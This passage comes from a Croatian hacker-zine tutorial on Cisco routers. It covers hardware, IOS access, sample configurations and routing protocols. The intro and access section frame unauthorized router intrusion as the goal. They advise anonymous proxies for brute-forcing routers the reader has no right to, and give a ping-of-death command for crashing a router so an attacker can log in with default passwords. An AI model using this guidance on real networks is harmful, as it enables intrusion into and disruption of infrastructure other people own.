................... ...::: phearless zine #4 :::... ......................>---[ Cisco Routers Exposed ]---<..................... ............................>---[ by h44rP ]---<............................ h44rp.net[at]gmail[dot]com >=------------------------------------ [0x00] Intro [0x01] Basic reveal [0x02] Vty/Con access lookup [0x03] Routing (DV and LS) <0x03a> RIPv1, RIPv2 <0x03b> IGRP, EIGRP <0x03c> OSPF <0x03d> BGP [0x04] ACL framework <0x04a> Standard vs. Extended <0x04b> Named ACL's [0x05] IOS security; 'go with the flow' [0x06] Outro >=------------------------------------ NAPOMENA: svrha slijedeceg teksta nema nikakve ilegalne predznake te je napisan iskljucivo da vas, eventualno, educira o necemu sto do sada niste imali prilike nauciti!!! >=-------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////// --==<[ 0x00 Intro \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Iako je dost tesko teorijom podrobnije objasniti neke principe mreznih uredjaja odlucio sam obraditi dosta opsirnu temu routera s tim da je glavna ideja bila obraditi uglavnom CISCO uredaje; dosta infomacija ce nadam se posluziti i ljudima koji koriste druge tipove routera Mikrotik, Smoothwall software routere itd. Pokusao sam ukljuciti sto vise segmenata u sam tutorial iskljucujuci detaljno pojasnjavanje subnetiranja, OSI-ja, i samih mreza i mreznih protokola vecim dijelom zbog toga sto je o tome bilo rijeci u prijasnjim textovima. Dakle, za potpuno razumijevanje ipak je pozeljno da posjedujete odredena znanja o protokolima TCP, UDP, ICMP..., IP-u, subnetiranju, C-u, ASM-u, unixu... kroz tutorial vecina stvari je testirana na CISCO 2500, 2600 routerima, a posto nazalost nema svatko pristup takvoj opremi, sugeriram da ako zelite skinete za konfanje Boson Router Simulator (http://www.boson.com) koji je po mojem iskustvu jedan od boljih trenutno dostupnih simulatora. Takoder sam planirao dodati jedan veliki dio o Switchevima no na zalost nisam stigao zbog stiske s vremenom ali cu nadam se imati prilike o tome pisati u nekom drugom tekstu. U prvom dijelu ce biti nesto rijeci i o hardveru rutera iako nisam namjeravao ni najmanje pisati o samim osnovama no pretpostavio sam da bi bilo zgodno staviti sve na jedan kup, dok u narednim poglavljima tutoriala ce biti sve vise rijeci o samom IOS-u i njegovim mogucnostima. U ovom tutorialu nisam ni spominjao kao niti opisivao metode sniffanja, ip spoofinga, cache (DNS) poisoning-a ili hijackinga... ... principe presretanja traffica od i prema ruteru, otimanja running sessiona itd. itd. jer je to opsiran materijal, koji vec je, a i bit ce jos iskoristen za druge textove vec je paznja obracena uglavnom na propuste samog IOS-a. NAPOMENA: prilikom remote konektiranja na terminal, brute-forcea i bilo kakvog testiranja na routerima na koje nemate legitiman pristup koristite neke od provjerenih, anonimnih proxy servera... /////////////////////////////////////////////////////////////////////////// --==<[ 0x01 Basic reveal \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Kao sto svi vi znate routeri su zapravo posebna vrst kompjutora koji imaju sve komponente kao i vas standarni desktop PC; CPU, memoriju, system bus, i odredene input/output interfejse. Dizajnirani su kako bi obavljali veoma specificne funkcije koje obican PC inace ne obavlja. Dakle, njihova osnovna svrha je da spajaju i omogucuju komunikaciju izmedju dvije mreze i odreduju najbolju stazu (path) kojom ce se kretati podaci izmedu tih mreza. Kako vase racunalo ima operativni sustav (SunOS, *BSD, Linux...) koji za vas pokrece odredene programe, aplikacije tako i Router ima svoj Internetwork Operating System (IOS) koji za njega pokrece konfiguracijske fajle. Ti konfiguracijski fajlovi sadrze instrukcije i parametre koji kontroliraju protok saobracaja (paketa) prema i od routera. Dakle preko tih konfiguracijskih fajlova kontroliramo podrzane routing protokole. Router se u osnovi sastoji od slijedecih djelova: |-----| | | (dynamic random access memory) |DRAM |------routing tabele, ARP cache, fast-switching cache, packet | | buffering (shared RAM), running config je na njemu dok router |-----| radi, kontrolira packet-hold queue, a naravno gubi sadrzaj kad se router iskljuci. |-----| | | (nonvolatile random-access memory) |NVRAM|------tu se nalazi startup konfiguracijski file jer podaci ostaju | | i nakon shutdown-a samog router-a. |-----| |-----| | | (Read-only memory) | ROM |------ukljucuje instrukcije za genericku POST dijagnozu, bootstrap | | program kao i software za IOS. |-----| |-----| | | |FLASH|------ovdje je image IOS-a, u biti je klasican EEPROM i moze isto | | tako sadrzavati vise IOS image-a.fs |-----| Nakon POST-a opcije u konfiguracijskom registru omogucavaju slijedece akcije: * Komande globalnog konfiguracijskog moda mogu se specificirati da bi se promijenili sourcevi koje koristi router kod boot-up-a. * Ako NVRAM ne sadrzava boot system komande koje router moze koristiti automatski se sekvenca prebacuje na IOS software koji je u FLASH-u. * Ako je i FLASH memorija prazna tada ce router pokusati doci do image fajla preko TFTP-a. Redosljed kojim router trazi bootstrap informacije ovisi o boot polju u konfiguracijskom registru! Defaultni konfiguracijski registar moze se promijeniti koristeci globalni konfiguracijski mod "config-register". Argumenti koji se ukljucuju u komandu su hexadecimalne vrijednosti. Konfiguracijski registar je 16.bitni registar smjesten u NVRAM-u... vrijednost tog registra moze se iscitati iz outputa komande "show version". navest cu osnovne vrijednosti registra za boot opcije: ------------------------------------------------------------------------- VRIJEDNOST: | OPIS: ------------------------------------------------------------------------- 0x???0 | Koristi ROM monitor mod (boot koristeci "b" komandu" ------------------------------------------------------------------------- 0x???1 | Automatski boot-a sa ROM-a (ako nema Flash-a) ------------------------------------------------------------------------- 0x???2-0x???F | Pregleda NVRAM trazeci boot komande *2 je + FLASH ------------------------------------------------------------------------- Image IOS, odnosno njegov naziv ovisi o samoj verziji IOS-a ali takodjer postoji univerzalna konvencija za nazivanje image-a.. slijedi primjer: c2600-js-l_121-3.bin | | | | | | | |-----> broj verzije (u ovom slucaju 12.13) | | | | | |---------> format fajla (relocatable; not compressed) | | | |-----------> mogucnosti postavki (enterprise sa extended cmp.) | |----------------> hardverska platforma... Cisco 2600 Routeri se koriste za segmentiranje LAN-ova no njihova je osnovna uporaba kao WAN uredaj. Sadrze LAN i WAN interfejse... Naravno da bi mogli svoju internu LAN mrezu spojiti na neki WAN. Koliko sam vidio dosad najveci broj deafult CISCO routera dolazi s jednim ugradenim WAN modulom koji sadrzi dva serial interface (Smart serial).. u vecini slucajeva 0/0 i 0/1. Dakle najbitnije je da bude jasno da vi vasu mrezu spajate na FE*/* a na SmartSerial spajate drugi router (DCE/DTE). Pod vasu mrezu mislim na hub, bridge ili switch itd. Hardverske karakteristike, scheme i ostale podatke nema smisla da ovdje izdvajam.. Jednostavno koga zanima neka posjeti sluzbene stranice... CONSOLE port sluzi za lokalni pristup routeru... na njega se spajamo rollover kabelom (RS232/eth) i dobivamo pristup konzoli tj. terminalu IOS-a, FastEthernet portovi.. straight-trough CAT5,5e UTP/STP iz switch-a, huba ili cross direktno iz nase mashine. AUX port za dial-up pristup... Na SmartSerial WAN portove spajamo drugi router... DCE uredaj daje clock DTE uredaju odnosno on je service provider DTE-u pa tako mora biti i konfiguriran. DTE (Data Termnial Equipment), DCE (Data circuit-terminating equipment). dakle na primjer: CSU/DSU modem dial-in je routan sa centrale na modemski ulaz, router koji na drugom interfejsu ima odredeni WAN (kad se spajate recimo modemom na modemski ulaz ISP-a za pristup internetu) /////////////////////////////////////////////////////////////////////////// --==<[ 0x02 Vty/Con access lookup \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Dakle.. Pristup na router moguce je ostvariti preko mreze, znaci tako da se jednostavno spojite na telnet ili ssh posluzitelj pokrenut na routeru npr. pogledajte adresu gateway-a na vasem LAN-u koji je u vecini slucajeva router (ne npr. Kerio winroute i sl. shit), posebno ako pristupate sa LAN-a nekog sveucilista itd. te ce vjerojatno biti omogucen remote access kako bi nadlezne osobe vrsile maintain samog uredaja.neki od deafultnih loginova su cisco, admin itd. no o tome nesto kasnije. iz samog daemon banner-a ssh posluzitelja moguce je u vecini slucajeva vidjeti o kojem je uredaju rijec. ostvarivanje pristupa na cisco IOS terminal je kljucna zadaca kod hakiranja takvih uredaja jer DOS,DDOS... raznorazna floodanja su u biti kiddie stuff ukoliko nam cilj nije uci u privilegirani cisco IOS mode. npr. takav jedan stupid example je ping -l 56550 router_cisco -t .. (a upravo slicne stvari su vam uvelike omogucene sa njega nakon sto dobijete pristup jednom malisanu sa npr. 18 T1 linkova...) dakle stari glupi ping of death... pretpostavljam da je svima jasno kako takve stvari rade... dakle preveliki paket ce na odredjeno vrijeme "mozda" onesposobiti router sto nam daje priliku za ulaz s defaultnim passwordima prije nego li se isti reboota.... Zasto se truditi??? pa jedan od razloga je upravo bio naveden, a najkorisnije je to sto kroz router prolazi jako puno mreznog saobracaja kojeg je moguce uloviti, a da ne spominjem trusted relacije koje posjeduju takvi uredaji s drugim masinama sa mreze itd. Prvo trebate pronaci cisco router na mrezi... najjednostavniji nacin je koristeci "traceroute" iliti "tracert" iz DOS-a. gotovo svaki trace ce vam dati listu odredenih router-a.. upotreba traceroute alata je izuzetno jednostavna tako da je ne treba detaljnije pojasnjavati a i vjerujem da jako dobro znate kako funkcioniraju takve ICMP komunikacije npr. ping.. kada dest provjerava dest addr.. kreira novi paket sa src->dest i vraca posiljatelju.. itd itd. za detalje preporucam rfc-ove spomenutih servisa. traceroute bi vam trebao dati barem jedan router u output-u koji u svom nazivu sadrzi "cisco". ako uocite * * * vjerovatno je firewalled host no o tome nesto kasnije... Routeri se na mrezi vrlo lako mogu konfati tako da izgledaju kao obicni sistemi sa ssh, http i ostalim serverima pokrenutim te ih je ponekad vrlo lako pomijesati sa nekim Unixoidom. primjer scan output-a: ----------------------- Interesting ports on ***Router: (The 168 ports scanned but not shown below are in state: closed) Port State Service 7/tcp open echo 9/tcp open discard 13/tcp open daytime 19/tcp open chargen 23/tcp open telnet 79/tcp open finger 2001/tcp open dc 4001/tcp open unknown 6001/tcp open X11:1 9001/tcp open unknown Remote operating system guess: Cisco Router/Switch with IOS 11.2 ----------------------- standarno povezivanje na telnet server (23) bi trebalo dati output slican ovom: ----------------------- [root@madness]# telnet IP_router Trying IP_router... Connected to ***Router. Escape character is '^]'. User Access Verification Password: ----------------------- *Cisco IOS za end point-e konekcija kod mrezne komunikacije koristi stvari slicne socketima no u biti nisu BSD socket-i koje mi poznajemo. Kod cisco IOS-a ove stvari rade asinhrono a nazivaju je TCB-ovi. TCB rutina bi trebala izgledati nekako ovako: *tcp_create_connect1(int zero, short remotePort,sockaddr *remoteAddr, short localPort, sockaddr *localAddr, int *error, int zero); Uz remote access o kojem sam maloprije govorio najcesci nacin pristupa je direktno sa svoje masine na "Console" port na samom router-u na koji se spajamo rollover kabelom. znaci sa npr. windoze stroja jednostavno hyperterminalom na kojem vecinu postavki ostavimo kako jesu odnosno: bits per second: 9600 data bits: 8 parity: none stop bits: 1 Flow control: hardware Nakon spajanja na odredeni COM port dobivate pristup user modu na samom routeru. U ovom dijelu necu govoriti o sigunosnim propustima, exploitanju itd. vec ce o tome biti rijeci u [0x05] sekciji a do kraja "Access" dijela cu jos samo u kratko navesti neke osnovne upute za koristenje samog IOS-a kako biste se mogli snaci nakon dobivanja pristupa terminalu.. Na cisco terminalu prisutna su dva moda: user mode i privilegirani mod. to vam je slicno user i root accountu na nekom unix stroju... iz user moda se prebacuje sa komandom "enable" u privilegirani mod a obratno sa "disable".. user mod je oznacen sa ">" a privilegirani klasicnim poundom "#".. za snalazenje po koncepciji sistema koristite "?" koji ce vam dati ispis next expected commande ili parametra... osnovnu konfiguraciju vrsite u config modu, u koji ulazite naredbom "configure terminal" a trenutne postavke mozete pogledati sa "sh ru" tj. show running-config komandom.. napomena: nakon svake izmjene konfiguracije koristite "copy running- config startup-config" cime kopirate izmjenjenu konfiguraciju na NVRAM samog uredaja. sam koncept sucelja se razlikuje od verzije do verzije IOS-a pa nema smisla pisati neki univerzalni command reference u ovoj situaci- ji,a za prebacivanja konf fajlova u startup ili running-config koristi te tftp servis. evo i jedan primjer ispisa "# sh ru" komande prije nego je iti jedan interface konfiguriran... ------------------------------- Router#sh ru Building configuration... ! Version 12.1 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Router ! ! ! ! ip subnet-zero ! ! ! ! ! ! interface Serial0 no ip address no ip directed-broadcast shutdown ! interface Serial1 no ip address no ip directed-broadcast shutdown ! interface Ethernet0 no ip address no ip directed-broadcast shutdown ! interface Ethernet1 no ip address no ip directed-broadcast shutdown ! interface Bri0 no ip address no ip directed-broadcast shutdown ! ! ip classless no ip http server ! ! line con 0 transport input none line aux 0 line vty 0 4 ! no scheduler allocate end ------------------------- dakle, vrlo je jednostavno zakljuciti sam iz ovog outputa sto nam je u biti vratila upisana komanda.. da li iti jedan iface ima skonfanu IP adresu i koju, dali je up ili down, dali je na terminalu podesen pass ... btw. pass se set-a preko naredbe "#enable password" za nekriptiranu tj. ispise vam se pass koji ste dodijelili odredenoj vrsti pristupa sa "sh ru" ili "#enable secret" za kriptirani pass.. a o samim lozinkama za vty i enable ce biti rijeci nesto kasnije... show komandom mozete pregle- dati gotovo sve bitnije stvari na samom routeru: od ARP cache ispisa, frame-relaya, user info-a... itd. itd. sve parametre pogledajte sa "#sh ?" evo sada jedan primjer potpuno skonfanog routera koji sam konfigurirao zajedno s jos jednim routerom i 2 cisco switch-a... ------------------------- ! version 12.3 service timestamps debug datetime msec service timestamps log datetime msec no service password-encryption ! hostname Rhapsody ! boot-start-marker boot-end-marker ! enable secret 5 $1$oOty$JKyPcKbRoiADgymZJLxua1 ! mmi polling-interval 60 no mmi auto-configure no mmi pvc mmi snmp-timeout 180 no aaa new-model ip subnet-zero ip cef ! ! ! no ftp-server write-enable ! ! ! ! interface Loopback0 ip address 10.10.10.1 255.255.255.255 ! interface FastEthernet0/0 ip address 192.168.1.1 255.255.255.0 speed auto ! interface Serial0/0 bandwidth 64 ip address 172.16.100.2 255.255.255.252 ip ospf message-digest-key 50 md5 lollol no fair-queue clockrate 56000 ! interface Serial0/1 no ip address shutdown ! router ospf 50 log-adjacency-changes area 0 authentication message-digest network 172.16.100.0 0.0.0.3 area 0 default-information originate always ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.100.254 no ip http server ! ! line con 0 exec-timeout 0 0 password cisco login line aux 0 line vty 0 4 password cisco login ! end ---------------------- dakle sada vidite kako tocno izgleda output jednog konfiguracijskog fajla sa cisco router-a.. kao sto vidite jako puno korisnih informacija se moze dobiti iz samog output-a.. od vty i con passworda na kraju fajle ... do potpunog info-a o interface-ima.. ACL-ovi ovdje nisu ispisani da vas ne zbune .. vec ce o njima biti rijeci u 0x04 sekciji. ovdje bi bilo dobro i spomenuti CDP (Cisco Discovery Protocol) CDP je Layer 2 protokol koji povezuje nize fizicke medije (Frame rely, ATM, LANS) i vise konekcijske layere (IPX, Appletalk). CDP protokol je protokol kojim se prikupljaju informacije o susjednim uredajima na mrezi (tip uredaja, interface na kojem je naden, model itd.) CDP funkcionira na svim CISCO uredjajima preko SNAP (SubNetwork Access Protocol) protokola. zadnji je CDPv2 a podrzavaju ga 12.0(3)T ili kasnija izdanja. Kad se cisco router boot-a CDP se starta automatski i detektira susjedne uredaje koji takoder vrte CDP. vrti se na data link layeru i omogucava dvama sustavima da saznaju odredene infomacije jedan o drugome. Svaki uredjaj s konfiguriranim CDP-om salje periodicke message na vise routera. svaki uredaj omogucava barem jednu adresu na koju prima SNMP poruke.zadrzavanje cdp paketa ovisi o TTL kojeg sadrzi paket a nakon toga biva odbacen od strane pronadjenog device-a. sintaksa na routeru nije komplicirana pa tako uvid u cdp status dobivamo: Router#show cdp neighbors infomacije se dobivaju koristeci TLV (Type Lenght Values) sto su pak blokovi infomacija intergrirani u CDP advertismente... a svaki TLV sadrzi sljedece: ID Uredaja Loklni Interface Holdtime Capability Platformu ID Porta VTP Management Domain Name (samo kod CDPv2) Native VLAN (samo kod CDPv2) Full/Half-Duplex (samo kod CDPv2) Upravljanje CDP-om na routeru se vrsi "cdp" komandom a sintaksa je kao sto sam vec rekao sama po sebi poprilicno jasna dakle: Router#cdp run ili Router#cdp enable /////////////////////////////////////////////////////////////////////////// --==<[ 0x03 Routing (DV and LS) \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Routanje nije nista drugo do usmjeravanje mreznog saobracaja sa jedne mreze na drugu! Dva osnovna tipa routinga su dinamicko i staticko rutanje.. Kao sto same rijeci kazu dinamicko je rutanje ono koje se obavlja cisto protokolarno uspostavnom komunikacije izmedu dva ili vise uredaja dok je staticko rutanje ono kod kojeg administrator unosi staticke rute u samu konfiguraciju router-a i po tim pravilima se onda paketi usmjeravaju na odredene interfejse. Naravno i jedan i drugi tip routinga imaju svoje prednosti i mane no cinjenica je da je dinamicko rutanje mnogo zahvalnije od statickog i zbog same spoznaje da router sam spoznaje promjene topologije i obavlja samo- stalno rutanje bez potrebe da aministrator unosi posebno rute za svaki interface. Nakon unosa staticke rute kreiraju se routing tabele koje se pregledavaju kao pravila prilikom manipuliranja paketima! Primjer unosa staticke rute: Router(config)#ip route 192.198.1.0 255.255.255.0 s0 | | | | | | Destinacijska mreza--| | | | |--izlazni interface Subnet maska-----------| U biti u praksi se najcesce koriste staticke rute u svrhu backup-a, odnosno kad dinamicko rutanje iz nekog razloga nije moguce izvsiti!!! Dinamicko rutanje koristi routing protokole preko kojih router doznaje sve pristupacne rute i one najbolje upisuje u routing tabelu i onda koristi te informacije iz tabele za rutanje paketa rutanih protokola (FTP,SMTP...) Algoritam rutanja je osnova dinamickog rutanja. dakle kadgod se promijeni nesto u mreznoj topologiji zbog prekonfiguracije, prosirenja itd. baza informacija o mrezi se update-a i ima spoznaju o svim dogadanjima na mrezi. AS odnosno autonomous systems jesu uredaju koji suraduju blisko i kreiraju manje i kompaktnije segmente od vecih "internetwork" globalnih mreza. Algoritmi rutanja se dijele na: = Distance vector = Link-state Njihova osnovna razlika je u tome sto distance vector algoritam routinga utvrduje vektor odnosno smjer i udaljenost do bilo kojeg noda na globalnoj mrezi dok link-state princip poznat i pod nazivom SPF - shortest path first samostalno ponovno kreira kompletnu topologiju mreze. Distance vector (Bellman-Ford algorithm) princip razmjenjuje routing tabele izmedju routera koji se medusobno obavjestavaju o svim promjenama na mrezi. svaki susjedni ruter dobiva routing tabelu onog susjednog koji koristi isti routing protocol. Link-state (Dijkstras algoritam) routing znano kao SPF rutanje odrzava kompleksnu bazu s infomacijama o mreznoj topologiji! Link-state nacin koristi LSA (Link-state advertisment) - maleni paket s routing info-ima, topolosku bazu podataka koja sadrzi informacije dobivene od LSA-a, SPF algoritam za izracunavanje "najbolje" putanje za isporuku paketa... Link-state ima nekoliko mana u odnosu na distance vector rutanje a to su: * izuzetno mu je bitna brzina procesora te ga poprilicno opterecuje * zahtjeva takoder jako puno fizicke memorije na samom routeru * koristi dosta vise bandwidth-a od distance vector routing-a Bitniji routing protokoli su: ---------------------------------------------------------------------- RIP (Routing Information Protocol) = distance vector ---------------------------------------------------------------------- IGRP (Interior Gateway Routing Protocol) = distance vector ---------------------------------------------------------------------- EIGRP (Enhaced Interior Gateway Routing Protocol) = distance vector ---------------------------------------------------------------------- OSPF (Open Shortest Path First) = link-state interior routing protocol ---------------------------------------------------------------------- BGP (Border Gateway Protocol) = distance vector ---------------------------------------------------------------------- ======-[ <0x03a> RIPv1, RIPv2 RIP (Routing Information Protocol) - vise infomacija RFC 1058, v2 2453. RIP je klasican distance vector routing protokol. Routing information protokol koji koristi "hop count" kao sredstvo za odredivanja putanje. Bitno je to da ako je hop count > 15 paket nece biti proslijeden!! Updejtanje ruta se vrsi broadcasting-om svakih trideset sekundi! RIP protokol se jako cesto koristi na CISCO routerima a sintaksa za podesavanja istog je izuzetno jednostavna: Router(config)#router rip Router(config-router)#network 10.21.22.0 Router(config-router)#network 10.21.24.0 i za odredjene mreze (*.*.22/24.0) je podignut RIP protokol... RIP se je tijekom godina razvijao i trenutno postoji i u verziji 2 koja je donijela nekoliko poboljasanja u odnosu na prethodnu inacicu istog. * mogucnost prenosa dodatnih routing informacija * autentifikacijski mehanizam za zastitu updejtanja routing tabela * podrsku za Variable Lenght Subnet Masking (VLSM) Router koji vrti RIP moze se konfigurirati da salje "triggered" update kad se topologija promijeni koristeci "ip rip triggered" komandu! Vecina konfiguracijskih gresaka kod RIP-a, krivo konfanje mreza, subnet-a ili pak split horizon. Izuzetno korisna komanda je "debug ip rip". ona ispisuje RIP routing updejtove kako su oni primljeni i poslati... Evo jos nekoliko komandi koje ce vam olaksato troubleshooting RIP-a: * show ip rip database * show ip protocols {summary} * show ip route * debug ip rip {events} * show ip interface brief ======-[ <0x03b> IGRP, EIGRP IGRP jest distance vector Interior Gateway Protocol (IGP). Poznato je otprije da distance vector protokoli matematicki usporeduju rute mjereci udaljenosti. routeri koji koriste ovaj proncip rutinga moraju slati svoje ruting tabele u ruting updejt porukama u regularnim intervalima svakom susjednom ruteru.tako routeri medusobno doznaju nove rute i failure... IGRP salje svoje update-ove svakih 90 sekundi .. igrp ima nekoliko predno- sti: flexibilan je i moze raditi solidno na vrlo malom bandwidthu za razliku od nekih drugih protokola a isto tako vrlo se dobro snalazi samostalno i kada se koristi na iznimno topoloski velikim mrezama.. IGRP koristi bandwidth i delay kao mjeru za utvrdivanje putanje paketima. premda moze se po potrebi konfigurirati da koristi ono sto mi zelimo npr. * Bandwidth * Delay * Load * Reliability Konfiguracija IGRP-a je tagoder prilicno jednostavna: Router(config)#router igrp 101 Router(config-router)#network 10.21.22.0 bitno je napomenuti da kod IGRP/EIGRP-a morate dodijeliti i AS svakom konfiguriranom interfejsu tj. mrezi koji identificira IGRP proces na mrezi. u ovom slucaju tj. primjeru gore to je broj 101. Greske kod IGRP-a najcesce su zbog krivog inputa AS-a ili subneta. komande za troubleshooting IGRP-a su: "debug ip igrp" * show ip protocols * show ip route * debug ip igrp events * debug ip igrp transactions * ping * traceroute 1994 CISCO izbacuje napredniju verziju IGRP protokola nazvanu EIGRP sto stoji za Enhaced Interior Gateway Protocol koji takoder koristi isti princip proracuna kao i IGRP: ----------------------------------------------------------------------- metric=[K1*bandwidth+(K2*bandwidth)/(256-load)+(K3*delay)]*[K5/(r.+K4)] ----------------------------------------------------------------------- s ovim konstantama: K1 = 1, K2 = 0, K3 = 1, K4 = 0, K5 = 0. metric = bandwidth + delay ----------------------------------------------------------------------- no osnovne su razlike u kompatibilnosti, metric-u i route taggingu. Jos jedna sitnica.. IGRP ima max hop count 255 dok EIGRP ima 224.. sto je jos bolje kod upotrebe u vecim "internetwork" mrezama. EIGRP routeri dinamicki saznaju o novim rutama koje su dodane na mrezu, lako identificiraju rutere koji nisu dostupni ili neoperativni, i jako brzo otkrivaju rutere koji su neposredno bili nedostupni tj van funkcije. Dostavljanje EIGRP paketa garantira RTP odnosno Reliable Transport proto- kol koji radi na transport layeru OSI-ja. Postoji pet vrsta paketa koje EIGRP salje: # Hello # Acknowledgment # Update # Query # Reply najzanimljiviji nama su hello paketi koji otkrivaju i verificiraju nove uredaje na mrezi... a salju se na defaultni multicast - 224.0.0.10.. EIGP se konfigurira isto kao i IGRP protokol na routeru s minimalnim sintaksnim promjenama prilikom unosa u konfiguracijskom modu... ======-[ <0x03c> OSPF OSPF stoji za Open Shortest Path First a ujedno je i link-state routing protokol te uvijek SPF-om izabire logicki najkracu putanju paketa do njegovog odredista. Poznato je otprije da lik-state routing protokoli prikupljaju infomacije od svih drugih routera sa mreze ili definiranog podrucja neke mreze. Jednom kada prikupi sve informacije, neovisno o drugim routerima izracunava se najbolja staza za sva odredista na mrezi! Link-state protokoli imaju nekoliko funkcija koje obavljaju kao brzo reagovanje na promjene na mrezi, slanje triggered updejtova samo onda kada je doslo do promjene mreznog stanja, slanje periodickih apdejtova poznatih kao link-state refresh-vi, a isto tako link-state ruting protokoli koriste "hello" mehanizam za dobivanje informacija o dostupnosti susjednih rutera. OSPF vs. RIP scheme da biste bolje razumijeli princip odredjivanja patha evo jedan primjer: -------------------- ---- |\ / | __T3/E3___| 5 |____ ---- / |/ \ | | |\ / | / ---- | ___T3/E3___| 4 |____/ | / |/ \ | | / ---- |---> T3/E3 ----/ OSPF vs. RIPv1/v2 | |\ / | | | 1 | | |/ \ |\ ---- ---- | ---- \ |\ / | |\ / | | \_____64k_____| 2 |____64k_______| 3 |____| |/ \ | |/ \ | ---- ---- -------------------- Sada pretpostavimo da router 1 salje paket koji treba da dode na router pod rednim brojem "3". OSPF ce izabrati stazu za pakete koja ce prolaziti 1====>4=====>5======3 dok ce RIPv1 ili RIPv2 ruting protokol izabrati putanju 1=====>2=====>3 koja ima manje hop counta koje on provjerava ali je zato znatno sporiji tip konekcije izmedu ova tri routera negoli izmedu prethodnih kroz koje je path izabrao OSPF. OSPF postaje sve koristeniji IGP protokol u usporedbi RIP-ovima verzija 1 i 2 upravo jer je flexibilniji... RIP protokol je limitiran na 15 hops-eva iz otprije poznatih razloga a ignorira jako bitne stvari poput bandwidth-a itd. Naravno OSPF funkcionira poprilicno razlicito od distance-vector rutinga. naime on nakon prikupljanja informacija o susjednim ruterima "flood-a" te informacije svim susjednim routerima ... pod flooding-om mislim na to da salje informacije van na sve portove osim naravno na port s kojeg je info primljen... Router primljene informacije o stanju linkova precesira i kreira link-state bazu koja je ista kod svih routera koji koriste OSPF u istom podrucju!!! Svaki router vrti SPF algoritam na svojoj vlastitoj kopiji link-state baze. Kalkulacija odreduje najbolju rutu do destinacije. SPF dodaje "cost". Cost je vrijednost bazirana na bandwidth-u.najnizi cost-path se unosi u routing tabelu sto se jos naziva i "database forwarding". Jos jedna bitna stvar je da OSPF izabire loop-free putanje uz to sto mu je glavno mjerilo cost koji dobiva iz propusnosti konekcije do odredenog rutera dok distance vector rutanje moze dovesti do ruting loop-ova... Algoritam: Algoritam za OSPF je otkriven 1959 od strane Nizozemskog znanstvenika Dijkstra po kojem ovaj algoritam i nosi ime. princip je taj da se mreza smatra skupom nodova konektiranih ppp linkovima medusobno. svaki nod ima ime i kompletnu bazu podataka svih linkova! stvar funkcionira tako da se izracunava loop-free topologija koristeci nod kao pocetnu tocku i analizirajuci povratne infomacije... kazem .. jedina u biti veca mana ovog link-state routing protokola je sto zahtjeva nesto vise memorije i procesorskog vremena kako bi mogao obavljati odredene mu zadace.. Na layer-u 3 OSI-ja "hello" paketi su adresirani na "multicast" adresu 224.0.0.5 poznatu kao i "all OSPF routers".. hello-i se salju svakih 10 sekundi, dakle u istim intervalima provjeravajuci prisutnost uredaja... na multi-access mrezama hello paket bira DR (Designated Router) i BDR odnosno Backup Designated Router.. header OSPF paketa: ======================================================================== ======================================================================== Version | Type | Packet Lenght | ------------------------------------------------------------------------ Router ID | ------------------------------------------------------------------------ Area ID | ------------------------------------------------------------------------ Checksum | Vrst autentikacije | ------------------------------------------------------------------------ | Podatci autentikacije | | ------------------------------------------------------------------------ OSPF hello header: ======================================================================== ======================================================================== Network Mask | ------------------------------------------------------------------------ Hello intervali | Opcije | Prioritet routera | ------------------------------------------------------------------------ Dead Interval | ------------------------------------------------------------------------ Designated Router | ------------------------------------------------------------------------ Backup designated router | | ------------------------------------------------------------------------ Neighbor Router ID | ------------------------------------------------------------------------ Neighbor Router ID | ------------------------------------------------------------------------ dodatna polja = Neighbor Router ID | ------------------------------------------------------------------------ ======================================================================== Konfiguracija OSPF ruting protokola na samom ruteru je poprilicno laka dakle: ---------------------------- Router#configure terminal Router(config)#router ospf (process ID) Router(config-router)#network "adresa" "wildcard-mask" area area-ID ---------------------------- Posto kao sto smo saznali OSPF koristi isljucivo cost kao metric ovdje cu navesti malenu tabelu s "cost" defaultnim vrijednostima cisco IOS-a.. ------------------------------ Medij | Cost | ------------------------------ 56kbps | 1785 | ------------------------------ T1 | 64 | ------------------------------ E1 | 48 | ------------------------------ 4Mbps TR | 25 | ------------------------------ Ethernet | 10 | ------------------------------ 16 Mbps TR | 06 | ------------------------------ 100Mbps/FDDI | 01 | ------------------------------ ======-[ <0x03d> BGP Border Gateway Protocol (BGP) jest interautonomni sistemski ruting protokol a koristi se za razmjenu ruting informacija zmedju ISP-ova. Kada se BGP protkol koristi izmedju dva ili vishe autonomnih sistema onda ga josh nazivamo i EBGP odnosno External BGP dok oni unutar jednog AS-a su poznati poz nazivom IBGP tj. Interior BGP. BGP koristi jako puno ruting parametara koji se josh nazivaju i atributi, a njima se definiraju ruting pravila i odrzavaju rutana okruzenja. Dakle prilikom odabira rute BGP koristi slijedece parametre: # Weight # Local preference # Multi-exit discriminator # Origin # AS_path # Next hop # Community BGP moze po potrebi primati vishe obavijesti za iste rute sa vise razlicitih sourceva, a kasnije naravno izabire samo jednog od njih kao najpogodnijeg za protok saobracaja. isto kao i kod ostalih ruting protokola nakon odabiranja staze on selektirani path upisuje u routing tabelu i propagira svoj novokreirani path ostalim susjedima na mrezi. jako je puno kriterija koje BGP provjerava da bi odabrao najprihvatljiviju putanju za pakete.. neki od kriterija su: ako je next hop nedostupan paket se drop-a preferira se najveci weight, ako je weight isti gleda se najveci local preference, preferira se ruta s najkracim AS path-om isto tako kasnije se preferira staza s nizim ip adresama itd. itd. Sve u svemu BGP je jako zahvalan ruting protokol no ipak jako tesko moze kvalitetno zamijeniti neki od IGP protokola (RIP, IGRP, EIGRP, OSPF, ISIS) odnosno moze ako planiramo koristiti i odrzavati samo staticke rute. Dakle BGP najvecu primjenu nalazi prakticki van oblasti IGP-ova npr. unutar neke velike mreze koja je unutar sebe podijeljena na vise segmenata koji pak unutar sebe vrte neki od IGP protokola te preko BGP-a razmjenjuju routing informacije. /////////////////////////////////////////////////////////////////////////// --==<[ 0x04 ACL (Access Control Lists) framework 